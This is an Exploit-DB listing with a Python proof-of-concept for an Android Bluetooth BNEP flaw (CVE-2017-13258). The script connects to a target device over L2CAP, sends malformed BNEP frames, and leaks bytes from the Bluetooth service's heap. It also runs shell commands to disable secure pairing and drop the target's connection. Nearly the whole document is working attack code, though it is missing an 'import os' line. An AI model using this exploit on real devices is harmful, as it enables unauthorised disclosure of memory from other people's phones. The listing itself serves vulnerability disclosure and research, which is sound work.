Android Bluetooth - BNEP bnep_data_ind() Remote Heap Disclosure

EDB-ID: 44326
Author: QuarksLab
Published: 2018-03-23
CVE: CVE-2017-13258...
Type: Dos
Platform: Android
Aliases: N/A
Advisory/Source: Link
Tags: N/A
Vulnerable App: N/A

 import sys 
import struct

import bluetooth

BNEP_PSM = 15
BNEP_FRAME_COMPRESSED_ETHERNET = 0x02
LEAK_ATTEMPTS = 20

def leak(src_bdaddr, dst):

bnep = bluetooth.BluetoothSocket(bluetooth.L2CAP)
bnep.settimeout(5)
bnep.bind((src_bdaddr, 0))
print 'Connecting to BNEP...'
bnep.connect((dst, BNEP_PSM))
bnep.settimeout(1)
print 'Leaking bytes from the heap of com.android.bluetooth...'

for i in range(LEAK_ATTEMPTS):
# A byte from the heap at (p + controlled_length) will be leaked
# if it's greater than BNEP_FILTER_MULTI_ADDR_RESPONSE_MSG (0x06).
# This BNEP packet can be seen in Wireshark with the following info:
# "Compressed Ethernet+E - Type: unknown[Malformed packet]".
# The response sent by bnep_send_command_not_understood() contains 3 bytes:
# 0x01 (BNEP_FRAME_CONTROL) + 0x00 (BNEP_CONTROL_COMMAND_NOT_UNDERSTOOD) + leaked byte

# 0x82 & 0x80 == 0x80 -> Extension flag = True. 0x82 & 0x7f == 0x2 -> type
type_and_ext_present = BNEP_FRAME_COMPRESSED_ETHERNET | 0x80

# 0x80 -> ext -> we need to pass this check: !(ext & 0x7f)
ext = 0x80

# i -> length (the 'p' pointer is advanced by this length)

bnep.send(struct.pack('<BBB', type_and_ext_present, ext, i))
try:
data = bnep.recv(3)
except bluetooth.btcommon.BluetoothError:
data = ''

if data:
print 'heap[p + 0x%02x] = 0x%02x' % (i, ord(data[-1]))
else:
print 'heap[p + 0x%02x] <= 6' % (i)

print 'Closing connection.'
bnep.close()


def main(src_bdaddr, dst):
os.system('hciconfig %s sspmode 0' % (src_bdaddr,))
os.system('hcitool dc %s' % (dst,))

leak(src_bdaddr, dst)


if __name__ == '__main__':
if len(sys.argv) < 3:
print('Usage: python bnep01.py <src-bdaddr> <dst-bdaddr>')
else:
if os.getuid():
print 'Error: This script must be run as root.'
else:
main(sys.argv[1], sys.argv[2])

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